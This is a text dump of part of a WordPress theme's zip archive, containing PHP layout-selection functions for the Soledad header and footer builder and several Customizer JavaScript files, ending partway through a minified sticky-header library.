		$footer_home    = get_theme_mod( 'penci_footer_builder_layout_homepage' );
		$footer_archive = get_theme_mod( 'penci_footer_builder_layout_archive' );
		$footer_page    = get_theme_mod( 'penci_footer_builder_layout_page' );
		$footer_post    = get_theme_mod( 'penci_footer_builder_layout_post' );

		if ( ! empty( $footer_site ) ) {
			$render = true;
		}

		if ( ! empty( $footer_home ) && ( is_home() || is_front_page() ) ) {
			$render = true;
		}

		if ( is_archive() ) {

			if ( ! empty( $footer_archive ) ) {
				$render = true;
			}

			if ( is_category() ) {
				$current_cat_id   = get_query_var( 'cat' );
				$category_options = get_option( "category_$current_cat_id" );

				if ( isset( $category_options['cat_footer'] ) && is_numeric( $category_options['cat_footer'] ) ) {
					$render = true;
				} else if ( ! empty( $footer_archive ) ) {
					$render = true;
				} elseif ( ! empty( $footer_site ) ) {
					$render = true;
				}

			} else if ( ! empty( $footer_archive ) ) {
				$render = true;
			} elseif ( ! empty( $footer_site ) ) {
				$render = true;
			}

		}

		if ( ! empty( $footer_post ) && is_single() ) {
			$render = true;
		}

		if ( ! empty( $footer_page ) && is_page() ) {
			$render = true;
		}

		if ( is_singular() && ! is_page() ) {

			$single_check = penci_get_single_key( get_the_ID(), 'penci_footer_builder_layout' );

			if ( $single_check ) {
				$render = true;
			}

		}

		if ( is_page() ) {
			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_footer', true );
			if ( is_array( $data_check ) && ! empty( $data_check ) && isset( $data_check['footer_builder_layout'] ) && $data_check['footer_builder_layout'] ) {
				$render = true;
			}
		}

		if ( is_singular( 'penci-block' ) ) {
			$render = true;
		}

		if ( isset( $_GET['layout_id'] ) && is_customize_preview() ) {
			$render = true;
		}

		return $render;
	}
}

if ( ! function_exists( 'penci_get_builder_mod' ) ) {
	function penci_get_builder_mod( $setting, $default = '' ) {
		$header_data     = '';
		$data            = get_theme_mod( $setting, $default );
		$page_data       = get_theme_mod( 'pchdbd_all' );
		$page_archive    = get_theme_mod( 'pchdbd_archive' );
		$page_posts      = get_theme_mod( 'pchdbd_post' );
		$page_pages      = get_theme_mod( 'pchdbd_page' );
		$page_home       = get_theme_mod( 'pchdbd_homepage' );
		$page_woo        = get_theme_mod( 'pchdbd_woocommerce' );
		$customizer_save = isset( $_GET['layout_id'] ) ? (int) $_GET['layout_id'] : '';
		$header_id       = '';

		if ( ( is_home() || is_front_page() ) && $page_home ) {
			$page_home = get_page_by_path( $page_home, OBJECT, 'penci_builder' );
			$header_id = isset( $page_home->ID ) && $page_home->ID ? $page_home->ID : '';
		} elseif ( is_archive() ) {
			if ( is_category() ) {
				$current_cat_id   = get_query_var( 'cat' );
				$category_options = get_option( "category_$current_cat_id" );

				if ( isset( $category_options['cat_header_builder'] ) && $category_options['cat_header_builder'] ) {
					$page_archive = get_page_by_path( $category_options['cat_header_builder'], OBJECT, 'penci_builder' );
					$header_id    = isset( $page_archive->ID ) && $page_archive->ID != '' ? $page_archive->ID : '';
				} else if ( $page_archive ) {
					$page_archive = get_page_by_path( $page_archive, OBJECT, 'penci_builder' );
					$header_id    = isset( $page_archive->ID ) && $page_archive->ID ? $page_archive->ID : '';
				} elseif ( $page_data ) {
					$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
					$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
				}

			} else if ( $page_archive ) {
				$page_archive = get_page_by_path( $page_archive, OBJECT, 'penci_builder' );
				$header_id    = isset( $page_archive->ID ) && $page_archive->ID ? $page_archive->ID : '';
			} elseif ( $page_data ) {
				$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
				$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
			}

		} elseif ( function_exists( 'is_woocommerce' ) && is_woocommerce() && $page_woo ) {
			$page_woo  = get_page_by_path( $page_woo, OBJECT, 'penci_builder' );
			$header_id = isset( $page_woo->ID ) && $page_woo->ID ? $page_woo->ID : '';
		} elseif ( is_singular() && ! is_page() ) {
			$data_check = penci_get_single_key( get_the_ID(), 'penci_header_builder_layout' );
			if ( $data_check ) {

				if ( ! ctype_digit( $data_check ) ) {
					$page_archive = get_page_by_path( $data_check, OBJECT, 'penci_builder' );
					$data_check   = isset( $page_archive->ID ) && $page_archive->ID ? $page_archive->ID : '';
				}

				$header_id = $data_check;
			} elseif ( $page_posts ) {
				$page_posts = get_page_by_path( $page_posts, OBJECT, 'penci_builder' );
				$header_id  = isset( $page_posts->ID ) && $page_posts->ID ? $page_posts->ID : '';
			} elseif ( $page_data ) {
				$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
				$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
			}
		} elseif ( is_page() ) {
			$data_check = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
			if ( isset( $data_check['header_builder_layout'] ) && $data_check['header_builder_layout'] ) {
				$header_id = $data_check['header_builder_layout'];
			} elseif ( $page_pages ) {
				$page_pages = get_page_by_path( $page_pages, OBJECT, 'penci_builder' );
				$header_id  = isset( $page_pages->ID ) && $page_pages->ID ? $page_pages->ID : '';
			} elseif ( $page_data ) {
				$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
				$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
			}
		} elseif ( $page_data ) {
			$page_data = get_page_by_path( $page_data, OBJECT, 'penci_builder' );
			$header_id = isset( $page_data->ID ) && $page_data->ID ? $page_data->ID : '';
		}

		if ( $header_id ) {
			if ( 'all' == $setting ) {
				return get_post_meta( $header_id, 'settings_content', true );
			} else {
				$header_data = get_post_meta( $header_id, 'settings_content', true );
				$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
			}
		}

		if ( is_singular( 'penci_builder' ) ) {
			if ( 'all' == $setting ) {
				return get_post_meta( get_the_ID(), 'settings_content', true );
			} else {
				$header_data = get_post_meta( get_the_ID(), 'settings_content', true );
				$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
			}
		}

		if ( isset( $_GET['view-header-layout'] ) && $_GET['view-header-layout'] ) {
			if ( 'all' == $setting ) {
				return get_post_meta( $_GET['view-header-layout'], 'settings_content', true );
			} else {
				$header_data = get_post_meta( $_GET['view-header-layout'], 'settings_content', true );
				$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
			}
		}

		if ( is_customize_preview() && ! empty( $customizer_save ) ) {
			$data = get_theme_mod( $setting, $default );
		}

		if ( is_array( $data ) ) {
			$data = implode( ',', $data );
		}

		if ( $data === null || $data === false || $data === '' ) {
			$data = $default;
		}

		return $data;
	}
}

function penci_builder_validate_mod( $header_data, $setting, $default = '' ) {

	$customizer_save = isset( $_GET['layout_id'] ) ? (int) $_GET['layout_id'] : '';

	if ( is_customize_preview() && ! empty( $customizer_save ) ) {
		$data = get_theme_mod( $setting, $default );
	} else {
		$data        = isset( $header_data[ $setting ] ) && $header_data[ $setting ] !== '' ? $header_data[ $setting ] : $default;
	}

	if ( is_array( $data ) ) {
		$data = implode( ',', $data );
	}

	if ( $data === null || $data === false || $data === '' ) {
		$data = $default;
	}

	return $data;
}

add_action(
	'wp_enqueue_scripts',
	function () {
		if ( penci_check_theme_mod() ) {
			if ( penci_builder_fonts_url() ) {
				wp_register_style( 'penci-header-builder-fonts', penci_builder_fonts_url(), array(), PENCI_SOLEDAD_VERSION );
			}

			// Enqueue style
			if ( ! get_theme_mod( 'penci_disable_default_fonts' ) ) {
				if ( penci_builder_fonts_url() ) {
					wp_enqueue_style( 'penci-header-builder-fonts' );
				}
				$data_fonts = penci_builder_fonts_url( 'earlyaccess' );
				if ( is_array( $data_fonts ) && ! empty( $data_fonts ) ) {
					foreach ( $data_fonts as $fontname ) {
						wp_enqueue_style( 'penci-font-' . $fontname, '//fonts.googleapis.com/earlyaccess/' . esc_attr( $fontname ) . '.css', array(), PENCI_SOLEDAD_VERSION );
					}
				}
			}
			wp_enqueue_script( 'penci-header-builder', PENCI_SOLEDAD_URL . '/inc/builder/assets/js/penci-header-builder.js', array(), PENCI_SOLEDAD_VERSION, true );
		}
	}
);

function penci_footer_builder_content_id() {
	$footer_id      = '';
	$footer_site    = get_theme_mod( 'penci_footer_builder_layout' );
	$footer_home    = get_theme_mod( 'penci_footer_builder_layout_homepage' );
	$footer_archive = get_theme_mod( 'penci_footer_builder_layout_archive' );
	$footer_page    = get_theme_mod( 'penci_footer_builder_layout_page' );
	$footer_post    = get_theme_mod( 'penci_footer_builder_layout_post' );

	if ( ( is_home() || is_front_page() ) && $footer_home ) {
		$footer_home = get_page_by_path( $footer_home, OBJECT, 'penci-block' );
		if ( isset( $footer_home->ID ) && $footer_home->ID ) {
			$footer_id = $footer_home->ID;
		}
	} elseif ( is_archive() ) {

		if ( is_category() ) {
			$current_cat_id   = get_query_var( 'cat' );
			$category_options = get_option( "category_$current_cat_id" );

			if ( isset( $category_options['cat_footer'] ) && is_numeric( $category_options['cat_footer'] ) ) {
				$footer_id = $category_options['cat_footer'];
			} else if ( $footer_archive ) {
				$footer_archive = get_page_by_path( $footer_archive, OBJECT, 'penci-block' );
				if ( isset( $footer_archive->ID ) && $footer_archive->ID ) {
					$footer_id = $footer_archive->ID;
				}
			} elseif ( $footer_site ) {
				$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
				if ( isset( $footer_site->ID ) && $footer_site->ID ) {
					$footer_id = $footer_site->ID;
				}
			}

		} else if ( $footer_archive ) {
			$footer_archive = get_page_by_path( $footer_archive, OBJECT, 'penci-block' );
			if ( isset( $footer_archive->ID ) && $footer_archive->ID ) {
				$footer_id = $footer_archive->ID;
			}
		} elseif ( $footer_site ) {
			$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
			if ( isset( $footer_site->ID ) && $footer_site->ID ) {
				$footer_id = $footer_site->ID;
			}
		}

	} elseif ( is_singular() && ! is_page() ) {
		$post_config = penci_get_single_key( get_the_ID(), 'penci_footer_builder_layout' );
		if ( $post_config ) {
			$footer_id = $post_config;
		} elseif ( $footer_post ) {
			$footer_post = get_page_by_path( $footer_post, OBJECT, 'penci-block' );
			if ( isset( $footer_post->ID ) && $footer_post->ID ) {
				$footer_id = $footer_post->ID;
			}
		} elseif ( $footer_site ) {
			$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
			if ( isset( $footer_site->ID ) && $footer_site->ID ) {
				$footer_id = $footer_site->ID;
			}
		}
	} elseif ( is_page() ) {
		$page_config = get_post_meta( get_the_ID(), 'penci_pmeta_page_footer', true );
		if ( isset( $page_config['footer_builder_layout'] ) && $page_config['footer_builder_layout'] ) {
			$footer_id = $page_config['footer_builder_layout'];
		} elseif ( $footer_page ) {
			$footer_page = get_page_by_path( $footer_page, OBJECT, 'penci-block' );
			if ( isset( $footer_page->ID ) && $footer_page->ID ) {
				$footer_id = $footer_page->ID;
			}
		} elseif ( $footer_site ) {
			$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
			if ( isset( $footer_site->ID ) && $footer_site->ID ) {
				$footer_id = $footer_site->ID;
			}
		}
	} elseif ( $footer_site ) {
		$footer_site = get_page_by_path( $footer_site, OBJECT, 'penci-block' );
		if ( isset( $footer_site->ID ) && $footer_site->ID ) {
			$footer_id = $footer_site->ID;
		}
	}

	return $footer_id;
}


function penci_footer_builder_content() {
	if ( is_singular( 'penci-block' ) || ( isset( $_GET['layout_id'] ) && is_customize_preview() ) ) {
		return;
	}
	$content   = '';
	$footer_id = penci_footer_builder_content_id();
	if ( $footer_id ) {

		if ( get_theme_mod( 'penci_footer_delayed' ) ) {
			$content .= '<div class="pcfb-footer-delayed pc-content-delayed" data-class="pcfb-wrapper" data-type="block" data-id="' . $footer_id . '"></div>';
		} else {

			$footer_content = get_post( $footer_id );

			if ( $footer_content ) {
				if ( did_action( 'elementor/loaded' ) && Plugin::$instance->documents->get( $footer_id )->is_built_with_elementor() ) {

					$edit_block_link = add_query_arg( [
						'post'   => $footer_id,
						'action' => 'elementor'
					], site_url( 'wp-admin/edit.php' ) );

					if ( is_customize_preview() ) {
						$content .= '<a href="#" data-href="' . $edit_block_link . '" class="soledad-customizer-edit-link custom-link footer-custom-link"><button><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg></button></a>';
					}
					$content .= '<div id="footer-section-container" class="pcfb-wrapper">';
					$content .= penci_get_elementor_content( $footer_id );
					$content .= '</div>';
				} else {
					$content .= '<div id="footer-section-container" class="pcfb-wrapper js-composer-content">';
					$content .= do_shortcode( $footer_content->post_content );

					$shortcodes_custom_css = get_post_meta( $footer_id, '_wpb_shortcodes_custom_css', true );

					$content .= '<style data-type="vc_shortcodes-custom-css">';
					if ( ! empty( $shortcodes_custom_css ) ) {
						$content .= $shortcodes_custom_css;
					}
					$content .= '</style>';
					$content .= '</div>';
				}
			}
		}
	}

	echo $content;
}

if ( ! function_exists( 'penci_builder_header_list' ) ) {
	function penci_builder_header_list() {
		$header_layout  = array( '' => '- Select -' );
		$header_layouts = get_posts(
			array(
				'post_type'      => 'penci_builder',
				'posts_per_page' => - 1,
			)
		);
		foreach ( $header_layouts as $header_builder ) {
			$header_layout[ $header_builder->post_name ] = $header_builder->post_title;
		}

		return $header_layout;
	}
}

if ( ! function_exists( 'penci_builder_block_list' ) ) {
	function penci_builder_block_list( $r = false ) {

		if ( $r ) {
			$builder_layout = array( '- Select -' => '' );
		} else {
			$builder_layout = array( '' => '- Select -' );
		}

		$builder_layouts = get_posts(
			array(
				'post_type'      => 'penci-block',
				'posts_per_page' => - 1,
			)
		);

		foreach ( $builder_layouts as $builder_builder ) {
			if ( $r ) {
				$builder_layout[ $builder_builder->post_title ] = $builder_builder->post_name;
			} else {
				$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
			}
		}

		return $builder_layout;
	}
}

function penci_is_active_header_builder() {
	return function_exists( 'penci_check_theme_mod' ) && penci_check_theme_mod() ? penci_check_theme_mod() : '';
}PK     /w\x(      builder/assets/js/customizer.jsnu [        (function ($, api) {
    "use strict";

    api.Panel = api.Panel.extend({
        expand: function (params) {
            var panel = this.container[1];

            if (panel.id === 'sub-accordion-panel-header_builder_config') {
                $('body').trigger('penci-open-header-builder');
            }

            return this._toggleExpanded(true, params);
        }
    });

})(jQuery, wp.customize);
PK     /w\    #  builder/assets/js/header-builder.jsnu [        !function (e, n) {
    "use strict";
    var t = n("body");

    function a(e, n) {
        return n.substr(0, e.length) == e
    }

    function i(e) {
        var t = n(e),
            a = t.parents(".header-builder-column").data("column");
        return [t.parents(".header-builder-row").data("row"), a, t.parents(".header-builder-device").data("device")]
    }

    function o(t, a) {
        var i = e.control(t);
        i && n(i.container.find("select")).selectize()[0].selectize.setValue(a, !0);
        var o = e.instance(t);
        o && o.set(a)
    }

    function r(e, n, t, a, i) {
        o(n + "_" + e + "_" + t + "_" + a, i)
    }

    function s() {
        n("[data-section^=penci]").on("click", (function () {
            !function (t) {
                var i = n(t),
                    o = i.data("section"),
                    r = "",
                    s = i.parents(".header-builder-device").data("device");
                if ("penci_header_ads" === o) r = "penci_ads_header_section";
                else if (a("penci_header_html", o)) r = "penci_header_html_section";
                else if (a("penci_header_button", o)) r = "penci_header_button_section";
                else if (a("penci_header_verticalmenu", o)) r = "penci_header_vertical_menu_section";
                else if (a("penci_header_search_icon", o)) {
                    if ("mobile" === s) return void d("penci_header_search_icon_section[penci_header_search_icon_mobile]");
                    r = o + "_section"
                } else r = o + "_section";
                var c = e.section(r);
                c && c.focus()
            }(this)
        })), n("[data-control^=penci]").on("click", (function () {
            d(this)
        }))
    }

    function d(t) {
        var a = "string" == typeof t ? t : n(t).data("control"),
            i = /([^[]+)\[([^\]]+)\]/g;
        if (a.match(i)) {
            var o = i.exec(a),
                r = e.section(o[1]);
            if (r.loaded) c(o[2]);
            else r.expand();
        } else c(a)
    }

    function c(n) {
        var t = e.control(n);
        t && t.focus()
    }

    function l() {
        t.addClass("header-builder-open")
    }

    function u() {
        t.removeClass("header-builder-open")
    }

    function h(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "'] [data-align='" + i + "']"),
            r = o.parents(".header-builder-column");
        o.parent().find("> li").removeClass("active"), o.addClass("active"), r.removeClass("left center right").addClass(i)
    }

    function _(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "'] [data-display='" + i + "']");
        o.parent().find("> li").removeClass("active"), o.addClass("active"), o.parents(".header-builder-column").removeClass("grow normal").addClass(i)
    }
    
    function flex(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "'] [data-flex='" + i + "']");
        o.parent().find("> li").removeClass("active"), o.addClass("active"), o.parents(".header-builder-column").removeClass("row column").addClass(i)
    }

    function f(e) {
        var t = n(e),
            a = t.parents(".header-builder-device").find(".header-builder-list");
        t.find(".header-element").appendTo(a)
    }

    function v(e) {
        if ((e = e.hasClass("header-builder-drop-zone") ? e : e.parents(".header-builder-drop-zone")).hasClass("header-builder-list")) return null;
        var t = [],
            a = i(e);
        e.find(".header-element").each((function () {
            t.push(n(this).data("element"))
        })), r(a[2], "penci_hb_element", a[0], a[1], t)
    }

    function p(e, t, a, i) {
        var o = n("[data-device='" + e + "'] [data-row='" + t + "'] [data-column='" + a + "']"),
            r = o.find(".header-builder-drop-zone ");
        f(o), n.each(i, (function (t, a) {
            (function (e, t) {
                return n("[data-device='" + e + "'] [data-element='" + t + "']")
            })(e, a).appendTo(r)
        }))
    }

    function m() {
        n(".header-builder-wrapper").sortable({
            handle: ".header-builder-row-drag-handle", cancel: ".header-builder-top", update: function () {
                var e;
                e = [], n("[data-device='desktop'] .header-builder-row").each((function () {
                    e.push(n(this).data("row"))
                })), o("penci_hb_arrange_bar", e)
            }, beforeStop: function (e, t) {
                var a, i = n(t.placeholder).index(),
                    can_move = '',
                    o = n(t.item).data("row");
                can_move = "mid" === o || "bottom" === o, 1 === i && can_move && (n(this).sortable("cancel"), a = "Unable to move <strong>Middle Bar & Bottom Bar</strong> above <strong>Top Bar</strong>", n(".warning-text").html(a), n(".header-builder-warning").fadeIn("fast"), n(".close-warning").on("click", (function () {
                    n(this).parents(".header-builder-warning").fadeOut("fast")
                })))
            }
        })
    }

    n((function () {
        t.on("penci-open-header-builder", l), n(".top-menu.close").on("click", (function () {
            u()
        })), n(".header-builder-open").on("click", l), n(".device-mode > div").on("click", (function () {
            n(".devices .preview-" + n(this).data("mode")).click()
        })), n(".desktop-mode li").on("click", (function () {
            var e = n(this).data("desktop-mode");
            n(".wp-full-overlay").removeClass("sticky normal").addClass(e)
        })), n(".mobile-mode li").on("click", (function () {
            var e = n(this).data("mobile-mode");
            n(".wp-full-overlay").removeClass("mobile_menu drawer").addClass(e)
        })), m(), n(".header-column-option-align li").on("click", (function (e) {
            var t = n(this);
            if (!t.hasClass("active")) {
                var a = i(this),
                    o = t.data("align");
                h(a[2], a[0], a[1], o), r(a[2], "penci_hb_align", a[0], a[1], o)
            }
        })), n(".header-column-option-display li").on("click", (function (e) {
            var t = n(this);
            if (!t.hasClass("active")) {
                var a = i(this),
                    o = t.data("display");
                _(a[2], a[0], a[1], o), r(a[2], "penci_hb_display", a[0], a[1], o)
            }
        })), n(".header-column-option-flex li").on("click", (function (e) {
            var t = n(this);
            if (!t.hasClass("active")) {
                var a = i(this),
                    o = t.data("flex");
                flex(a[2], a[0], a[1], o), r(a[2], "penci_hb_flex", a[0], a[1], o)
            }
        })), n(".header-builder-drop-zone").sortable({
            items: ".header-element",
            connectWith: ".header-builder-drop-zone",
            update: function (e, n) {
                null !== n.sender && v(n.sender), v(n.item)
            }
        }), n(".header-element-close").on("click", (function () {
            var e = n(this),
                t = e.parent(),
                a = t.parent(),
                i = e.parents(".header-builder-body").find(".header-builder-list");
            t.appendTo(i), v(a)
        })), s(), n("#customize-header-actions").append("<div class='penci-btn-header-builder'><i class='fa fa-bars'></i></div>"), n(".penci-btn-header-builder").on("click", (function () {
            t.hasClass("header-builder-open") ? u() : l()
        }))
    }))

    n('body').on('click', '.header-setting', (function (e) {
       e.preventDefault();
       var t = n(this).closest('.header-builder-column');

       t.toggleClass('active');
    }));
}(wp.customize, jQuery);
PK     /w\)    $  builder/assets/js/control-default.jsnu [        (function(api){
    "use strict";

    /**
     * Extend control functionality
     *
     * @param control
     * @param id
     * @param options
     */
    window.extendControl = function(control, id, options){
        // need to fetch default setting used for control
        var setting = options.params.settings.default;

        // Post Parameter (post var)
        api.previewerSync.registerRedirectTag(setting, options.params.postvar);

        // Style Output
        api.previewerSync.registerStyleOutput(setting, options.params.default, options.params.output);

        // only Register Partial Refresh when control created dynamically
        if(options.params.dynamic) {
            api.previewerSync.registerPartialRefresh(setting, control.section.get(), options.params.partial_refresh)
        }

        // Active Callback
        api.activeCallback.registerActiveRule(control, options.params.active_rule);
    };

    /**
     * Initialize control
     *
     * @param control
     * @param id
     * @param options
     */
    window.initializeControl = function(control, id, options){
        var sectionId = options.params.section;

        // if control is normal, extend control right away
        if(!control.params.dynamic) {
            window.extendControl(control, id, options);
        }

        api.section.bind(sectionId, function(section){
            if(section.loaded && control.params.dynamic) {
                window.extendControl(control, id, options);
            }
        });
    };

    api.controlConstructor.default = api.Control.extend({
        initialize: function( id, options ) {
            api.Control.prototype.initialize.call( this, id, options );
            window.initializeControl(this, id, options);
        },
    });

})(wp.customize);
PK     /w\z1  z1  +  builder/assets/js/jquery.smartSticky.min.jsnu [        /**
* jquery.smartSticky 2.7.1
* https://github.com/oplaner4/jquery.smartSticky
* by Ondrej Planer, oplaner4@gmail.com
* 
* This library requires jQuery.js
* See the documentation before using this library please
* jquery.smartSticky.js may be freely distributed under the MIT license.
*
* Copyright 2020, Ondrej Planer
* 
* 
* PRESERVE THIS PLEASE
*/

!function (t) { "use strict"; "function" == typeof define && define.amd ? define(["jquery"], t) : "undefined" != typeof exports ? module.exports = t(require("jquery")) : t(window.jQuery) }(function (t) { "use strict"; var e = function (e, i) { let r = this; r._isEnabled = !0, r._settingsManagerInstance = new n(i, e), r._scrollingManagerInstance = t.fn.smartSticky.windowScrollingManager.onScrolling(function () { r.adjustToCurrentScrollTop() }), r._positionManagerInstance = new o(r._settingsManagerInstance, r._scrollingManagerInstance), t.fn.smartSticky.windowScrollingManager.getOverflowingElement().on("resize", function () { if (r.getPositionManager().setOrigPosition(), r.getSettingsManager().preparePlaceholder(), "thead" === r.adjustToCurrentScrollTop().getSettingsManager().getElement().prop("tagName").toLowerCase()) { let e = r.getSettingsManager().getPlaceholder().find("th"); t("th", r.getSettingsManager().getElement()).each(function (n) { t(this).css("width", e.eq(n).outerWidth()) }) } }).trigger("resize"), r.getSettingsManager().getElement().trigger("smartSticky.init", [r.getSettingsManager()]) }; e.prototype.getPositionManager = function () { return this._positionManagerInstance }, e.prototype.getSettingsManager = function () { return this._settingsManagerInstance }, e.prototype.getScrollingManager = function () { return this._scrollingManagerInstance }, e.prototype.adjustToCurrentScrollTop = function () { return this.getPositionManager().outOfOrigPosition() && this.isEnabled() ? (this.activated() || this.activate(), this.hide().getPositionManager().prepareFixedPosition().outOfContainer() || this.getPositionManager().canBeShownDueToScrolling() && (this.getSettingsManager().getElement().removeClass(t.fn.smartSticky.classes.invisible), this.getPositionManager().recalculateFixedPosition())) : this.activated() && this.deactivate(), this }, e.prototype.enable = function () { return this._isEnabled = !0, this.adjustToCurrentScrollTop(), this }, e.prototype.disable = function () { return this._isEnabled = !1, this.deactivate().adjustToCurrentScrollTop(), this }, e.prototype.isEnabled = function () { return this._isEnabled }, e.prototype.hide = function () { return this.getSettingsManager().getElement().addClass(t.fn.smartSticky.classes.invisible), this }, e.prototype.setOptions = function (t) { return this.getSettingsManager().setOptions(t, !0), this }, e.prototype.deactivate = function () { return this.getSettingsManager().getElement().trigger("smartSticky.deactivate", [this.getSettingsManager()]), this.getPositionManager().setOrigPosition(), this.getSettingsManager().getElement().trigger("smartSticky.deactivated", [this.getSettingsManager()]), this }, e.prototype.activate = function () { return this.getSettingsManager().preparePlaceholder().getElement().removeClass(t.fn.smartSticky.classes.background).css({ left: this.getSettingsManager().getFixedLeft(), width: this.getSettingsManager().getFixedWidth() }).trigger("smartSticky.activate", [this.getSettingsManager()]).addClass(t.fn.smartSticky.classes.active).trigger("smartSticky.activated", [this.getSettingsManager()]), t.fn.smartSticky.constants.css.noBackground.indexOf(this.getSettingsManager().getElement().css("background-color")) > -1 && this.getSettingsManager().getElement().addClass(t.fn.smartSticky.classes.background), this }, e.prototype.activated = function () { return this.getSettingsManager().getElement().hasClass(t.fn.smartSticky.classes.active) }; var n = function (e, n) { this._options = null, this._container = null, this._elem = n, this._placeholder = n.clone(!1).addClass(t.fn.smartSticky.classes.placeholder).removeAttr("id"), t("label", this._placeholder).removeAttr("for"), t("input, select, textarea", this._placeholder).removeAttr("name").removeAttr("id"), this._elem.addClass(t.fn.smartSticky.classes.root).before(this._placeholder), this.setOptions(e, !1).setContainer() }; n.prototype.getElement = function () { return this._elem }, n.prototype.setOptions = function (e, n) { return this._options = t.extend(!0, {}, n ? this._options : t.fn.smartSticky.defaults, e), this }, n.prototype.getOptions = function () { return this._options }, n.prototype.setContainer = function () { let e = this.getOptions().container; return e instanceof Function && (e = e(this)), (e instanceof HTMLElement || e instanceof HTMLCollection || e instanceof String || "string" == typeof e) && (e = t(e)), e = e instanceof jQuery && e.length > 0 ? e.first() : this.getElement().parent(), this._container = e.addClass(t.fn.smartSticky.classes.container), this }, n.prototype.getContainer = function () { return this._container }, n.prototype.getFixedLeft = function () { let t = this.getOptions().css.fixed.left; return t instanceof Function && (t = t(this)), t instanceof String || "string" == typeof t ? t : (t === parseFloat(t) || t instanceof Number || (t = this.getElement().offset().left), t + "px") }, n.prototype.getFixedWidth = function () { let t = this.getOptions().css.fixed.width; return t instanceof Function && (t = t(this)), t === parseFloat(t) || t instanceof Number || t instanceof String || "string" == typeof t ? t : this.getElement().outerWidth() }, n.prototype.getPlaceholder = function () { return this._placeholder }, n.prototype.preparePlaceholder = function () { return this.getPlaceholder().height(this.getElement().height()), this }; var i = function (t) { this._yCoordObj = t instanceof Object ? t : { top: 0 } }; i.prototype.isCalculatedFromTop = function () { return this._yCoordObj.hasOwnProperty("top") }, i.prototype.getFromTop = function () { return this.isCalculatedFromTop() ? this._yCoordObj.top : "auto" }, i.prototype.getFromBottom = function () { return this.isCalculatedFromTop() ? "auto" : this._yCoordObj.bottom }; var o = function (t, e) { this._settingsManagerInstance = t, this._scrollingManagerInstance = e, this._fixedPosition = null, this._yCoordManagerInstance = null, this.prepareFixedPosition() }; o.prototype.getSettingsManager = function () { return this._settingsManagerInstance }, o.prototype.getScrollingManager = function () { return this._scrollingManagerInstance }, o.prototype.getYCoordManager = function () { return this._yCoordManagerInstance }, o.prototype.setYCoordManager = function () { return this._yCoordManagerInstance = new i(t.fn.smartSticky.positions[this.getFixedPosition()](this)), this }, o.prototype.setOrigPosition = function () { return this.getSettingsManager().getElement().removeClass(t.fn.smartSticky.classes.active).css({ left: this.getSettingsManager().getPlaceholder().get(0).offsetLeft, width: this.getSettingsManager().getPlaceholder().outerWidth(), bottom: "auto", top: this.getSettingsManager().getPlaceholder().get(0).offsetTop }), this }, o.prototype.recalculateFixedPosition = function () { return this.getSettingsManager().getElement().css({ top: this.getYCoordManager().getFromTop(), bottom: this.getYCoordManager().getFromBottom() }), this }, o.prototype.getOrigOffsetTop = function () { return this.getSettingsManager().getPlaceholder().offset().top }, o.prototype.outOfOrigPositionAbove = function () { return !!this.getSettingsManager().getOptions().show.original.above && this.getOrigOffsetTop() - this.getScrollingManager().getOverflowingElement().outerHeight() + (this.getSettingsManager().getOptions().show.immediately ? this.getSettingsManager().getPlaceholder().outerHeight() : -1 * this.getSettingsManager().getOptions().show.delay) > this.getScrollingManager().getCurrentScrollTop() }, o.prototype.outOfOrigPositionUnder = function () { return !!this.getSettingsManager().getOptions().show.original.under && this.getOrigOffsetTop() + (this.getSettingsManager().getOptions().show.immediately ? 0 : this.getSettingsManager().getPlaceholder().outerHeight() + this.getSettingsManager().getOptions().show.delay) < this.getScrollingManager().getCurrentScrollTop() }, o.prototype.outOfOrigPosition = function () { return this.outOfOrigPositionAbove() || this.outOfOrigPositionUnder() }, o.prototype.outOfContainerAbove = function () { return t.fn.smartSticky.windowScrollingManager.getCurrentScrollTop() + (this.getYCoordManager().isCalculatedFromTop() ? this.getYCoordManager().getFromTop() : t.fn.smartSticky.windowScrollingManager.getOverflowingElement().outerHeight() - this.getSettingsManager().getElement().outerHeight() - this.getYCoordManager().getFromBottom()) < this.getSettingsManager().getContainer().offset().top }, o.prototype.outOfContainerUnder = function () { return t.fn.smartSticky.windowScrollingManager.getCurrentScrollTop() + (this.getYCoordManager().isCalculatedFromTop() ? this.getSettingsManager().getElement().outerHeight() + this.getYCoordManager().getFromTop() : t.fn.smartSticky.windowScrollingManager.getOverflowingElement().height() - this.getYCoordManager().getFromBottom()) > this.getSettingsManager().getContainer().offset().top + this.getSettingsManager().getContainer().outerHeight() }, o.prototype.outOfContainer = function () { return this.outOfContainerAbove() || this.outOfContainerUnder() }, o.prototype.canBeShownDueToScrolling = function () { if (this.getSettingsManager().getOptions().show.scrolling instanceof Function) return !0 === 